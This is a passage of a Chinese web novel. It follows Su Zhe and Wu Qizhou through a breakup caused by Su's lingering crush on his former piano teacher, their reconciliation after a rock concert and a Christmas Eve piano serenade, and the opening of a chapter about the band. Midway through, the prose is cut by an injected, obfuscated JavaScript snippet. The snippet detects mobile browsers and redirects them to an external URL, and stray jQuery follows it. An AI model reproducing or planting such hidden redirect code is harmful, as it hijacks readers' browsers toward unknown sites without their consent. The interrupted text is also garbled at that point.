苏喆做了个噤声的手势,小声道:“你这么大声说出来,别人都知道了。” 吴栖舟恼火地追问:“为什么写X?” 苏喆仿佛不能明白他为什么突然生气:“就是随便一写的啊,那要不我另写一张吧。” 苏喆的无辜倒显得吴栖舟是在无理取闹了,他也不能确定这究竟是合理吃醋还是自己在捕风捉影。为了一个随手写下的字母而发火,是不是有点小气了? 然而类似的细节越来越多,心中的不满和猜疑也越来越难以忽略。苏喆为什么在看到别人弹钢琴时就会意识游离呢?为什么自己总是不肯弹一次?为什么喜欢用XD这么古早的颜文字?每当苏喆牵起他的手,每当在他们在温情拥抱或热烈亲吻时,他心里想着的究竟是谁? 他甚至开始怀疑,苏喆之所以无微不至地对他好,是不是出于一种心虚和愧疚。 这么想或许有点不知好歹了。在外人看来,苏喆已经算是个满分男友,反而是他不够体贴,经常耍小性,要是还因为那些似是而非的小事反复闹情绪,就实在太不讲理了。 可是他真的很介意,又因为介意而变得更加疑神疑鬼。这段恋爱看起来甜蜜美满,实则带有细密的刺,扎在身上不算太疼,却是一种绵延的痛感。 这种痛感在今晚到达了极致,苏喆在玩单词接龙时说了个X,那么的自然,又那么的必然。 他也许只是想要给游戏增加点难度,也许只是随口这么一说,因为这个字母在他心里留下了太深的烙印,当时不经任何思考就脱口而出了。 无论是哪一种可能都不重要了,吴栖舟知道自己已经无法再忍耐这些不间断的刺痛。就让这一切都结束吧,他要拔掉所有的刺,也告别所有的甜蜜温柔。 “为什么?”苏喆听到他的分手通知时完全不可置信,“栖舟,今晚你到底怎么了,为什么突然说这种话?” “别装了。”吴栖舟忍无可忍道,“苏喆,你真的喜欢我吗?你跟我在一起时心里想的到底是谁,是不是那个弹钢琴的X?” 在说出这些话时,吴栖舟甚至还期待着能听到几句否认和反驳,然而苏喆在那一瞬间展露出了慌乱的神色,正是一副被戳中心事的模样。他语无伦次地解释:“栖舟,你怎么会这样想,那个人,他,他……我早就……” 吴栖舟的最后一丝期待也破灭了,他感到无比疲倦,却也有一种解脱的轻松,道:“你不用说了,就这样吧,以后也别再找我了。” 他改签了车票,第二天就回家了,当初跟苏喆计划好的暑假旅行自然也取消了。回到家后,他成天约以前的同学朋友们疯玩,今天唱歌,明天剧本杀,后天去游泳,就怕一个人静下来,脑子里又再想起苏喆,想起这大半年来相处的点点滴滴。 但欢闹结束了,总有夜深人静的时候。他辗转反侧,沮丧地度过了许多个难眠的夜晚。 失恋真难熬啊。 有一天深夜,吴栖舟鬼使神差地打开音乐软件,在搜索栏输入了明日回信四个字。这是苏喆很喜欢的一支摇滚乐队,以前经常听他提起。但因为对摇滚乐不太感冒,他一直也没找过他们的歌来听。 其实这支乐队吴栖舟也听别的同学说起过,他们是从本校出去的,参加一个什么选秀获得了不错的名次,据说以前还回来演出过。虽然也没混出什么大名堂,但勉强也能算是明星校友吧。 找到乐队的专辑目录,他随便点了开一张《折帆》,第一首就是专辑的同名歌曲。这是一首抒情摇滚,他一边听着歌,一边 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可能第一次恋爱就是这样吧,不成熟的两个人凑到一起,各有各的毛病,总是不会得到完满的结局。 两个月暑假过去,吴栖舟终于熬过了最痛苦的失恋期,可当他重新回到学校,偌大校园里处处都有他和苏喆的快乐回忆,他一时触景伤情,心情又再变得低落。 分开的这段日子,他都是听着明日回信的歌度过的。与此同时,苏喆是不是也在听他们的歌?虽然这已经没有意义,但他还是想要与苏喆保持某种联结。 新学期伊始,夏天已经步入尾声。有一天吴栖舟跑到校外闲晃,在路上不巧遇上了一场突如其来的阵雨。然而很令人惊喜的是,雨后的天空中出现了异常美丽的彩虹。 路上的行人都在赞叹,不少人还特意驻足拍照,也有的人反应奇怪,比如那个对着彩虹失声痛哭的中年女人。 吴栖舟想,那也是一个触景伤情的人吗?这来来往往的人群之中,又藏有多少不为人知的悲伤呢? 他走了上去,小心翼翼地问她:“你怎么了?还好吧?” 对方缓了口气,道:“我没事。” 于是他把身上还剩的半包纸巾递给了她,得到了对方的感激:“谢谢了。” 在夏天结束的时候,吴栖舟偶然得知了明日回信的巡演信息,本市的演出定在十二月初,他没有多想就买了票。 那天苏喆不会也去吧? 应该不太可能,按照吴栖舟以前对他的了解,他并不是个热衷观赏现场演出的人。 到了演出那天,吴栖舟早早就来到了livehouse,为了能占到个好位置。他站在第三排,距离舞台不到两米。他第一次这么近距离地观赏一场表演,演出还未开始便感到兴奋了。 明日回信的现场比想象的还要精彩热烈。主唱极有诚意,在台上一句废话也不多说,埋头就是唱,到半场时去旁边喝了几口水,回来又弹起了下一首歌的前奏。 有人在台下喊道:“姐,不休息会儿吗?” 主唱反问道:“你们一个个都是花了钱来的,怎么还让人休息呢?” 台下大笑。 主唱的歌声极富感染力,带动所有人一起尖叫摇摆。虽然场子不大,但她是天生的巨星。 在唱到《折帆》时,吴栖舟又往前挤了挤,距离舞台只有一步之遥。 这时键盘调成了钢琴的音色,弹起哀伤优美的伴奏。吴栖舟不由把目光转向了那位站在主唱左边的键盘手。他头上戴一顶米色的帽子,是个英俊男人。室内暖气开得足,他只穿一件单衣,挽起了袖子。吴栖舟发现他手腕处似乎有什么印记,待看清楚了,当即瞳孔一缩,惊讶得险些叫出声音。 那位键盘手的手腕上有一个花体的X字母纹身。 这时有人在努力地挤到前排,遭到了周围的一些白眼。吴栖舟看到了那个讨嫌的人,那个人本来一直望向舞台,这时也看到了他。 是苏喆,他竟然真的来了。 一切都在此刻有了答案。 他们在拥挤的人群中望着彼此,眼中都带着惊讶、一点怀疑和瞬间的恍悟。 一首歌正唱到了这里:而我在挨近你的地方,最接近天堂。 18.星光(乐迷视角) 演出结束了,有些乐迷直接离开,也有很多乐迷现场购买了专辑和一些乐队周边,过去排队跟成员们签名合影。 散场的人流中,苏喆走到了吴栖舟身边,说:“好久不见了。” 吴栖舟问他:“你不过去跟他说句话吗?” 苏喆明白他已经什么都知道了,他摇了摇头:“不了。” 苏喆当真没再留恋,和吴栖舟一起走出了livehouse。一路无言到了门口,吴栖舟在寒风里缩了缩脖子,道:“那我回学校了。” 苏喆挽留道:“去找个地方坐一会儿吧。”又想到他们已经分手那么久,自己也没有立场要求他留下,便又小心翼翼地询问:“可以吗?” 吴栖舟略一犹豫,还是点了头。 两个人往前走了几步,进到一家24小时营业的连锁快餐店里。正好到了夜宵时间,店里的人也不算少。他们站在点餐台前,苏喆说:“没想到你也来看明日回信的演出。” “我也没想到你会来。”吴栖舟抬头去看上方的电子菜单,“但是你果然来了。” 苏喆没再说什么,两个人点好了单,找了个空桌坐下,彼此间还是沉默。 吴栖舟觉得今晚苏喆应该是想跟自己说点什么,比如关于他和那个人的事。但他没开口,自己便也不去问。 苏喆的两手绞在一起,看了一眼吴栖舟,又半低下头,终于开了口:“我还上高中的时候,有一阵子跟着他学过钢琴。” 小时候他也像很多孩子一样被家长按着学钢琴,但无甚兴趣,又没什么天分,勉强能流畅弹几首考级曲目。后来上了中学,课业忙碌起来,再没什么时间练琴,功夫也就差不多荒废了。 在上高一时,他成绩有些跟不上。父母为此犯了愁,琢磨着不如让他捡回弹钢琴的本领,走艺术特长生的路子,将来起码还有机会考个像样点的大学。于是在高一暑假里,他被父母送进了艺培机构重新学练钢琴。 父母给他报了个一对一的授课,授课老师履历优秀,毕业于著名音乐学院的钢琴系,目前是市交响乐团的钢琴手。 苏喆在琴房里第一次见到了谢老师,他比想象中要年轻,也要英俊得多,看着颇有几分不羁。给人的初印象不像个老师,倒像是那种活跃在校园传闻里的帅气学长。 打过了招呼,他让苏喆坐到钢琴前,自己随意地倚靠钢琴站着:“弹一段,让我看看你的水平。” 苏喆不太好意思献丑:“我水平很烂的。” “烂到什么程度?” “小时候学过几年,现在差不多都忘光了。” “都忘光了?”谢老师笑道,“那还记得中央C在哪儿吗?” 这个当然还是记得的。苏喆找到中音区域那组双黑键左边的白键,按下了中央C。 “还行。”谢老师丢给他一本琴谱,“挑一首来弹,我总得摸清你几斤几两才知道该怎么教你。” 苏喆翻开琴谱,挑了巴赫的《C大调前奏曲》,这是曾经弹过太多次的练习曲了。虽然下手生疏,但毕竟还是有当年的童子功在,苏喆磕磕绊绊地弹了几个小节,又从头再来,如此反复两次,渐渐找回了些感觉,再一次从头弹起,这回还算顺利地弹完了这一曲。 “手型还挺标准的。”谢老师尽量挑了个能夸的地方,又问他,“现在重新学琴是想提高到什么程度,有什么目标吗?” 苏喆道:“我爸妈是希望我能当钢琴特长生,将来走艺考的路子。” “啊?”谢老师大吃一惊。 苏喆见他这反应,也觉得这个想法有点异想天开了,羞愧道:“我也觉得不太行,可是我成绩不怎么好,走普通高考估计上不了什么好学校了。” “你要是从今天开始玩命练琴,倒也不是没希望。”谢老师诚心建议道,“但是有这个工夫还不如多做点题,请个家教给你讲讲功课,上好学校的希望还更大一点。” 虽然是这么个道理,但苏喆说:“那我钱都交了。” “也是。”一个硬着头皮学,一个硬着头皮教,谢老师道,“先练着吧,能掌握一门乐器也不错。将来在公司年会上起码能表演个节目,要是遇上喜欢的人了,追求的时候还能给人家弹一段。” 第一次上课谢老师就带着苏喆温习基础,帮他找回手感。要下课了,谢老师叮嘱他回家记得练琴。苏喆点头说知道了,又道:“老师,听说你是阳音毕业的,现在在乐团里做钢琴手?” “嗯。” “为什么会来这里教琴呢?”这个艺培机构是今年刚成立,规模也不算很大,他觉得以谢老师的履历完全可以去更好的平台。来这里教琴,还教的是他这种学生,是有点屈才了。 谢老师说:“这里是我师姐开的,上学时受过她帮助,所以就来帮衬一下。”又笑道:“你是我教的第一个学生。” “第一”这个名头让苏喆有些开心,他也笑道:“老师,你能弹一段吗?让我见识一下交响乐团的水平。” “行。”谢老师坐下来,弹了一首亨德尔的《帕萨卡利亚》,不用看谱子就已经倒背如流,音符如行云流水般从他的指下飘起。闭上眼,仿佛置身于雨季时节的老庄园,苏喆也沉醉在这诗意的旋律中。 他偷偷去看谢老师的侧脸,觉得他弹琴是这么的赏心悦耳,也悦目。 谢老师弹完一曲,转过头来对他笑道:“怎么样?” 苏喆有些紧张地转开眼睛,道:“好厉害。”又问:“你手腕上的这个纹身,是‘谢’的意思吗?” “算是吧。” 算是?这个答案真是奇怪。 此后苏喆每周过来上两节课,一整个暑假都在拼命练琴。他发现弹琴其实就像骑自行车,只要学会就不会忘记,就算长久不碰变得生疏了,多加练习便很容易能重新拾起来。他比小时候更加主动和刻苦地练琴,不只为了拼得一个好前程,也因为仰慕谢老师,梦想变成像他那样厉害的钢琴高手。 而每到下课时,谢老师都会应他要求弹首曲子,弹过李斯特的《钟》,贝多芬的《暴风雨奏鸣曲》,肖邦的《即兴幻想曲》等等。每次见到谢老师,最期待的除了得到他的夸奖,就是欣赏他弹琴了。 他知道这是为什么,他喜欢上谢老师了。 谢老师性格开朗随和,常跟他开玩笑。有时候他屡屡弹错,谢老师明显都无奈了,但还是努力耐下性子来手把手教他。每到这时,苏喆心里就会又羞愧又窃喜,他嫌弃自己的笨拙,却欣喜于谢老师对他的用心。在这反复的犯错和容忍中,两个人也变得更亲近了。 学琴的间隙里也会有些闲聊,有一次在说到对音乐的审美时,谢老师问他:“你听摇滚吗?” 苏喆说:“很少,你喜欢?” “听一些。我朋友组了个摇滚乐队,叫明日回信,歌都挺不错的,你有空也可以找来听听。” 于是苏喆就记下了。 谢老师也有心情不好的时候。在暑假快要结束时,有一次上课谢老师差点迟到了,眼睛下面带着青黑,话也比平时少得多。苏喆规规矩矩地上完了课,终于等到最期待的环节:“老师,今天弹哪首曲子?” 谢老师却道:“今天就算了吧,下次再说。” 苏喆本想磨他一下,但见他今天似乎状态不佳,便作罢了,只是关心地问:“老师,你是遇上什么不开心的事了吗?” 谢老师勉强笑了一下:“一点私事。” 苏喆小心地猜测:“……失恋了?” 谢老师没有否认,用琴谱在他头上轻拍了一下:“少关心。” 苏喆摸了摸头,又说:“天涯何处无芳草嘛,也不是非要单恋一枝花。” 谢老师不以为然:“什么话,那是能说不恋就不恋的吗?” 苏喆问:“你们在一起很久了吗?” “八年了。” 八年,苏喆想,那是多么漫长的光阴,足以积累下多么深厚的爱意。八年前自己还在上小学三年级呢,而谢老师已经有了相爱的人。 “那为什么分开?”苏喆问。 谢老师却说:“我们没有分开。” 苏喆困惑了:“那这……” 谢老师便又用琴谱轻拍了一下他的头:“都说让你少关心了。”他垂下眼看着黑白相交的琴键,就像是在对自己说:“他也有他的难处,在这时候我怎么能再像别人那样给他施压呢。” 谢老师抬起头来对苏喆笑道:“你也一样,将来真谈恋爱了,别动不动就想着换一支花。两个人既然在一起了,那就要多包容体谅人家。” 苏喆认真道:“知道了。” 又过一阵子,他去上课时见到谢老师神采飞扬,看起来心情颇好,下课了主动坐到钢琴前,笑容满面地说:“今天就弹个《爱的礼赞》。” 这是赞颂爱情的著名曲子,配合着谢老师欢悦的模样,苏喆想大概是他和恋人之间的矛盾解决了吧。 虽然心里有些酸涩,但他也并未感到多么的失落和妒忌,因为打从一开始就知道对方是个不可能的人。且不说谢老师是否喜欢同性,光是年长他十一岁就已经是个巨大的鸿沟。他们是两个世界的人,只不过因为钢琴偶然有了交集。他并没有多余的幻想,只希望谢老师幸福就好,即使他真的很喜欢他。 然而又过没多久,有一天谢老师戴着一顶帽子出现,沉静地给他上完课,忽然说:“以后我就没时间再过来上课了,他们会给你换个新老师。” 这话简直就是晴天霹雳,苏喆当即愣住了,然后有些焦急地问他:“那你还会回来吗?” 谢老师想了想,道:“应该不会了。” 谢老师最后弹了一首拉威尔的《悼念公主的帕凡舞曲》,苏喆在哀伤的旋律中贪婪地看着他。一切就要结束了吗?这会是永别吗? 谢老师弹完最后一个音符,从椅子上起身,拍了拍苏喆的肩膀:“这几个月你进步很大,以后要继续勤奋练琴,将来考个好学校,加油。”然后不再留恋地离开了琴房。 苏喆抚上他刚刚触摸过的琴键,上面仿佛还留有他指尖的温度。 谢老师正像那美妙又稍纵即逝的旋律,短暂地出现在他生活中,又这么仓促就离去。 他一旦不在,苏喆练琴也失去了动力。他并不是真心喜欢这些,这几个月来突然变得努力,也不过是出于对谢老师的憧憬。 以他的资质,走专业路子是行不通的,还不如趁早把精力放在读书上。他向父母说了自己的想法,父母便也不再勉强他继续学琴,给他报了别的补习课程。 大概是因为开了窍,又找对了学习方法,再加上数倍于以前的努力,他的成绩一下子提高了很多。在埋头读书的日子里,他没有一天忘记过谢老师,也试着练习他曾经弹过的曲子,但发现对自己来说还是太难。 谢老师离开艺培机构后去了哪里,在忙些什么呢?他还在乐团吗,有机会看到他的演出吗? 直到有一天,苏喆在音乐软件上收到了明日回信发行新专辑的提醒。他点开新专辑的第一首歌,竟然在作词人那一栏看到了谢老师的名字。他惊讶极了,听完整张专辑,发现谢老师写了几首歌的歌词,也有参与编曲。 难道他加入了这支乐队?还是转行去做音乐制作人了?从古典音乐跨界到摇滚,真有些不可思议。 苏喆立刻去搜索明日回信的信息——说来惭愧,先前他只是听歌而已,连成员都不大认得。他查到了乐队现今四名成员的名字,谢老师赫然就在其中。 词条里也写了乐队的成立时间、发展经历和成员变化。不同于前任鼓手的正式退出,前任键盘手的离队并没有一个官方说法。苏喆对此产生了好奇,便又去搜索那个名叫孔潇的键盘手。 相关的讨论不算多,各种说法都有,乐迷们倾向于认为他已经亡故了。苏喆在搜索中看到了那名键盘手的一些照片,发现他手腕上似乎有什么印记,仔细去瞧,依稀是一个花体的X字母。 他心中一震,想起了曾经问过谢老师:“你手腕上的这个纹身,是‘谢’的意思吗?”当时谢老师回答:“算是吧。” 如果这个X纹身是一对,它是不是可以既代表“谢”,也代表“潇”呢? 又看到乐队的成立时间,他发现这恰好是谢老师跟口中那个恋人刚在一起的年份,再加上前任键盘手亡故的说法,随后谢老师跨界加入乐队。他把这些拼凑起来,模模糊糊地猜到了一段故事。 从此明日回信的歌变成了最常出现在他耳机里的音乐。除了钢琴,他和谢老师之间又多了一个交集。 再后来他上了大学,遇到了吴栖舟。 第一次见面时他就发现吴栖舟在关注自己,目光总是投向这边,玩游戏时专来找他互动,还很主动地来加他微信,过后又是约他吃饭又是约他逛校园的。苏喆心想,是那个意思吗?他喜欢自己吗? 两个人从普通社员变成了朋友,渐渐又不止于此。他们三天两头碰面、闲聊,苏喆听吴栖舟有些愤愤地说某个专业课老师很烦,每次上课都点名。有些落寞地说第一次离开家那么久,有点想家了。 苏喆就说:“那我带你到处去玩吧。” 吴栖舟立刻点头:“好哇。” 嘴角上扬时带着的那点狡黠和得意,苏喆怎么会看不出来。 吴栖舟那些明显的试探,笨拙的撩拨,看在苏喆眼中都那么可爱。他开始频繁地想起他、想念他,他不回消息是在干什么呢,他今天上课迟到了吗,他怎么还不表白?苏喆等得心急,忍不住就自己去捅破了窗户纸。 面对他的表白,吴栖舟毫无意外地接受了。刚在一起的日子真的很快乐,每天都像是泡在蜜糖里。他觉得吴栖舟真好,自己太喜欢他了,虽然他跟谢老师一点也不像。 然而相处久了,渐渐也会产生矛盾。都是十八九岁的年轻人,心智成熟不到哪里去,吴栖舟又是个被家里惯坏了的孩子,难免任性些。苏喆自认脾气耐性都不错,有时候却也在相处中感到心烦疲惫。 每到这时他就会忍不住想,如果是谢老师就不会这样吧?毕竟他是个成熟的大人。然后又想,换了是谢老师面对任性的恋人,他会怎么做呢? 他记得当初他教过自己:“两个人既然在一起了,那就要多包容体谅人家。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314829|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是他也是这么做的,倾尽全力去对吴栖舟好,而与此同时,他会更加频繁地想起谢老师。 谢老师就是他的中央C,是他脑海中的基准音,是他情感流动的那个定点,也是他在恋爱中的参照。 他不仅会拿吴栖舟跟他作比较,也会拿自己跟他做比较。他有些分不清了,自己究竟是在怀念他,还是在向往他,又或者是想成为他? 谢老师总是夹在他和吴栖舟之间,吴栖舟也意识到了他的存在。爆发来得很突然,但一切也都有迹可循。 在分开的这几个月里,他无数次思考过那天晚上吴栖舟对他的质问:“苏喆,你真的喜欢我吗?你跟我在一起时心里想的到底是谁?” 对他来说,更重要的是与他有过真实恋爱体验的吴栖舟,还是短暂出现又消失,一直活在记忆里的谢老师? 在失去吴栖舟后,回头再看他们共度的每时每刻、一点一滴,全都是真实具体的快乐。彼此第一次牵手、第一次拥抱、第一次肌肤相亲时的悸动与美妙,至今仍是刻骨铭心。活泼爱笑的吴栖舟,嘴硬心软的吴栖舟,生完闷气又主动向他示好的吴栖舟,回忆起来都那么生动可爱。 而那个叫人念念不忘的谢老师,又倾注了多少自己的想象和美化呢? 这几年他一直在关注明日回信,自然也看到了他们今年的巡演信息。以前他都刻意避开他们的巡演,但这回他决定去看一次他们的现场,去见见那个作为乐队键盘手的谢老师。 见过了现在的他,他想自己就可以真正弄清心里的答案了。 可是今晚,他在进场前还是感到了情怯。三年不见了,谢老师变成了什么样子呢?他还能认出自己吗?那个人是他心中遥远而美好的存在,他其实不想,甚至有点不敢去见到真正的他。 一直踟蹰到了演出过半,他终于下决心走进livehouse。 他站在人群末尾,隔着数十米望向舞台,见到了舞台上的谢老师。他头上戴着一顶帽子——据说这是前任键盘手的演出习惯。他看不清他的脸,只能看到一个模糊的轮廓,而他演奏键盘的姿态和当年弹钢琴时完全不同,看起来随意、沉浸,又十分放肆不羁。 他朝舞台走近,顶着周遭的白眼挤到了前排。谢老师的面孔逐渐在他眼前变得清晰,三十岁的他看起来仍然年轻,却还是跟记忆中的不一样了,这几年间的坎坷和哀愁、希冀和快慰都沉淀在他的气质里,凝结在他的眉眼间。 就在他抬头望着他时,余光瞥到了另一个人—— 是吴栖舟!他竟然也来了。 来不及思考他为什么会出现在这里,苏喆的目光立刻就投向了他。 他无暇再顾及舞台上的表演,分开几个月,此间的思念、歉疚和爱恋都在互相对视的那一瞬间里爆发了。四周拥挤喧嚣,他耳边却只剩静默。 这一刻他也终于弄清了那个问题,他明白了当吴栖舟和谢老师同时在场,他会毫不犹豫地看向谁,他的目光会追逐着谁。 直到演出结束,谢老师并没有发现台下的他,他觉得自己也没有必要再过去对他说些什么,这场年少的暗恋其实不需要什么正式的告别。 他只想去到吴栖舟身边,对他说一句:“好久不见了。” 两个人面对面坐在快餐店里,时间晚了,周围的顾客渐渐离去。吴栖舟听苏喆说了所有往事,而苏喆在最后传达的心情,就像是新一次的表白。 苏喆问他:“这学期你退社了吗?” “还没。” “之前好几次活动和聚餐,都没看到你来。” “我是觉得既然分开了,就尽量别见面了吧,不然也挺尴尬的。” “也是。” 然后又是沉默。 吴栖舟知道自己在期待什么,他想看到苏喆表露出更明确一点的态度,比如直接告诉他想要复合,或者约他下一次见面。 可是直到喝完了杯子里的饮料,他还是没等来苏喆进一步的表示。于是他道:“我得回学校了,不然宿舍要关门了。” 苏喆说:“我送你去地铁站。” 走在逐渐冷清的街头,吴栖舟抬头望去,今晚的夜空中竟然有不少星星呢。 在地铁站里要分别时,苏喆看着吴栖舟欲言又止,最后终于开口问道:“过阵子就是平安夜了,有空一起过吗?” 拖到这时候才说,吴栖舟心里有点嫌弃,忍不住又拿乔了:“不好说,到时候再看吧。” “行。” 苏喆回到家,第二天找出很久没用过的节拍器,打开琴盖,久违地坐到了钢琴前。 他记得当初谢老师说,学会一门乐器也不错,要是遇上了喜欢的人,追求的时候还能给人家弹一段。他决定最后再听一次他的话。 以前吴栖舟也好几次说过想看他弹琴,他都没有答应。因为他觉得钢琴是自己和谢老师结缘的契机,也是承载自己对他满腔憧憬的纽带,他不愿意跟第二个人分享。 但现在不一样了,他心里有了唯一的人。 他选择了一首难度不太高的流行曲,猫王的《Can’t Help Falling In Love》来表达他的爱意。现在距离平安夜还有二十天,应该来得及把它练熟。 在此期间吴栖舟还是没等到苏喆的消息。他气愤地想,那天晚上苏喆不是说已经放下谢老师了吗,不是说眼中只看得到他吗?结果撩下这番话就失踪了。这小子到底是想怎样! 到临近平安夜的时候,苏喆终于出现,又再邀他共度平安夜。吴栖舟心想,他倒要看看这小子葫芦里卖的什么药。 那天傍晚,他们约好在综合楼前见,就像曾经的很多次那样。两个人在综合楼前碰了头,打过招呼,相视一笑,都有种回到了过去的感慨。 一起上了地铁,苏喆带吴栖舟来到一个大型商场。商场外面有一棵高高的圣诞树,里面也新增了许多圣诞主题的装饰,很有喜庆的氛围。今晚出街的人格外多,餐厅也要排队。两个人取了号,苏喆说:“还有的等呢,我们先去逛逛吧。” 说是逛逛,但苏喆似乎有个明确的目的地,拉着吴栖舟来到了商场一楼。一楼中庭有一台公共钢琴,吴栖舟记得自己曾经鼓动苏喆去弹,但被他拒绝了。 商场里人来人往,但并没有人去弹奏那台钢琴,直到苏喆走了过去,坐在了钢琴前。 吴栖舟诧异地看着他,瞬间明白了他的意图。 苏喆对他笑道:“练了大半个月呢,一首《Can’t Help Falling In Love》,送给你的。” 他把双手放到琴键上,低头弹起了这二十天里废寝忘食练习的曲子。缠绵婉转的旋律之间,凝结着他对心爱之人最大的诚意,是他十九岁的深情。 商场内琴声飘荡,一些路过的人也驻足欣赏。吴栖舟闭上双眼聆听,那些苏喆试图通过琴声来传递的情意,他都感知到了。 等这一曲结束,苏喆抬头看向吴栖舟,笑道:“我总是情不自禁地爱你。栖舟,可以再给我一次机会吗?” 吴栖舟也笑起来,把手覆在了他的手背上:“好。” 19.野鬼(乐队视角) 亲爱的人啊携手前进,我们的生活充满阳光。 姜珏又在哼唱这首古早歌曲,这是前阵子她跟着姜玉梅看一部老电影时学会的。 这歌确实挺符合她现在的心境,跟姐姐和队友们积极进取,努力奋斗,事业和生活都蒸蒸日上。 因为拥有出众的创作才华,这些年又积累下不少经验,姜珏开始担当音乐制作人,给同行们制作歌曲或专辑。收入比以前丰厚稳定了些,又处在自己所喜欢的行业,忙也忙得很有成就感。姜珏对这份工作感到满意,连姜玉梅也不再挑剔她了。 闲暇时她还新学了几种乐器,最近上头的是口琴——因为它便宜。由此可见,她依然过着比较抠抠搜搜的生活。 而姜玺这种行事认真稳妥的人,总是很容易得到上司的青睐。她现在在一个大型物流公司的分公司里担任运营主管,待遇不错,为了争取更好的职业前景,还利用业余时间考了两个证。在身兼两职的情况下还有精力读书考试,这是让姜珏佩服得五体投地的地方。 谢焰在这两年转行去做了职业键盘手。他的钢琴功底深厚,只要肯下功夫钻研,把键盘玩好并不难。而且他出身知名音乐学院,行业里的前辈多,人脉也就多,对职业发展助力很大。现在经常在综艺节目里做伴奏,或者跟着歌手去演出,不过还是以明日回信的行程优先。 因为从乐队编外人员正式转正了,现在他跟大家比之前交好得多,有次演出还叫上了他的妹妹。妹妹谢灿比他小五岁,目前还在读研,性格跟哥哥大不一样,是个比较标准的书呆子。那次她来看演出,还没撑到半场就受不了出去了。 那天演出结束后大家一起吃夜宵,姜珏问她:“怎么样,我们的歌好听吗?” 谢灿欲言又止,实在夸不出来,最后只得委婉道:“挺特别的。” 大家哈哈大笑。 至于新任鼓手陈辩,因为看起来沉默寡言,大家一度以为他是个不好接近的高冷角色,然而混熟后发现,此人纯粹就是嘴笨,反射弧也比较长,因而常常显现出一种智商不高的表象。 但他技术确实非常好,鼓打得稳狠准,即兴演奏也出色。平时就跟个木鱼似的,一旦拿起鼓槌,人就通电了,可以活络起来了。 有前面三张优质专辑打底,明日回信在圈内已有了稳固的地位,每轮巡演的票都卖得不错,在音乐节上虽然还够不上压轴的分量,但一般都排在最后几个出场。每当大屏幕上出现那棵手绘的大树及TLFT字母——当年由孔潇设计的乐队标志,台下乐迷会立刻爆发出热烈的欢呼声。 乐队收入是比以前多了些,但如果全职干这行,也只能活得更加抠抠搜搜。 不过如今的氛围还是有所变化,姜珏能感觉到玩乐队的人比以前更多了。在地铁上时不时会看见几个背着琴的少年人,面孔还很稚嫩,一本正经地互相讨论写歌和排练的事。等他们长大、成熟,说不定会成为圈内新的一批中流砥柱。就算只是随便玩玩,有一段快乐的经历也挺好。 今年春天姜玉梅护士长光荣退休了,忙了半辈子,终于可以享受悠闲的退休生活。女儿们都长大了,各凭本事过得还不错,她也没有什么可再操心的,人是越来越慈眉善目,气度亲和。 “亲爱的人啊携手前进,我们的生活充满阳光。”姜珏把这首古早歌曲重新改编了一番,只用木吉他作伴奏,变成一首轻松欢快的小曲,这天是她第一次公开演唱它,在一个圈内朋友开的音乐酒吧里。 平时她偶尔会过来坐坐——还是绝不喝酒,心情好了就上台唱几首歌。除了帮衬朋友,也因为喜欢在这里唱歌的情调和氛围,会让她想起当年读大学时的演出经历。 连着唱了三首歌,姜珏从台上下来,服务生早准备好了一杯她平时爱喝的柠檬椰子水。她边喝边跟老板谈笑,这时突然有人过来搭讪:“你好,请问你是姜珏吗?” 姜珏转过头去,看见一个跟自己年纪相仿的男子,隐约觉得有点眼熟,又实在想不起来,道:“我是,你谁啊?” “真是你!”那男子惊喜道,“我叫陶渡,你还记得吗?当年我们一起参加过《校园新声》的比赛。五十进二十那场你们的鼓手迟到了,我们还打算把鼓手借给你们顶上呢。后来我们被淘汰了,你们就真把他借走了。” “哦!”说到这里姜珏就记起来了,“老郭的旧东家嘛。你们乐队叫什么来着,什么赤焰?” “是叫赤浪。”陶渡笑道,“真没想到会在这里遇到你,一晃都那么多年了。” 偶然遇到当年一同参赛的故人,姜珏也不禁有些感慨:“是啊,时间过得好快,转眼都是十年前的事了。” 陶渡问她:“你常来这儿唱歌吗?” 酒吧老板插嘴道:“哪儿能啊,人家现在身价也高了,心情好了才赏脸上台唱几首。” 陶渡笑道:“也是,我看老郭的朋友圈会发些你们乐队的消息,明日回信现在混得是挺不错的。对了,他好像前年退队了是吧?” “嗯,不过还常联系,前两个月他还给我们寄了老家特产呢。”姜珏道,“这些年你怎么样了?混得也还不错吧?” “嗐,不就是普普通通地打份工,前不久刚调到总公司,所以就又回到这边了。我同事说这间酒吧氛围不错,今晚就跟他一起过来坐坐。”陶渡非常高兴地说,“结果居然遇上你在这里唱歌,真是太有缘分了。” 姜珏问他:“当初你在乐队里是什么位置来着?现在还玩这些吗?” “那时候是弹贝斯的,毕业后基本就没碰过这些了,工作了再想玩乐队也挺不容易的。” 姜珏把胳膊揽上酒吧老板的肩膀:“人家弹贝斯的,跟你一样呢。” 老板对陶渡笑道:“同行啊,来切磋一下?” 陶渡连忙摆手:“同行可算不上,我那点三脚猫的功夫就不献丑了。” 几个人又聊了些别的,互相加了微信,末了陶渡问姜珏:“对了,你现在结婚了吗?” “哈?”姜珏大感无语。 “不好意思。”陶渡也感觉自己冒犯了,连忙道歉,“我就是随口一问,不是要打探你的隐私。” 回去后,姜珏发现陶渡几乎给她每一条朋友圈都点了赞,留言夸赞他们的演出,恭喜他们获得了成就。她回复了几条,很快就没放在心上。 最近明日回信在筹备十周年的专场演出,这回的表演场地没有放在livehouse,而是首次选在了剧场。剧场里可容纳一千名乐迷,是他们迄今为止最大规模的专场演出。提前两个半月开票,最后都售罄了。 剧场演出就像一场小型演唱会,四个人在台上自然是挺过瘾,但和乐迷的距离变得远了一些。乐迷们也得遵守剧场规则,不能随意站立跳跃和开火车之类,少了在livehouse和音乐节的随性奔放。不过好在演出足够精彩,大家也能听得尽兴。 演出结束后,四个人都感觉疲惫了,却又还处在刚才的亢奋里。等收拾好东西离开剧场时,发现竟然还有人还在外面等待他们——不是什么痴狂的乐迷,而是陶渡。 陶渡一见他们出来就立刻迎上去,欣喜地跟姜珏打招呼:“嗨,恭喜你们今晚演出成功。” 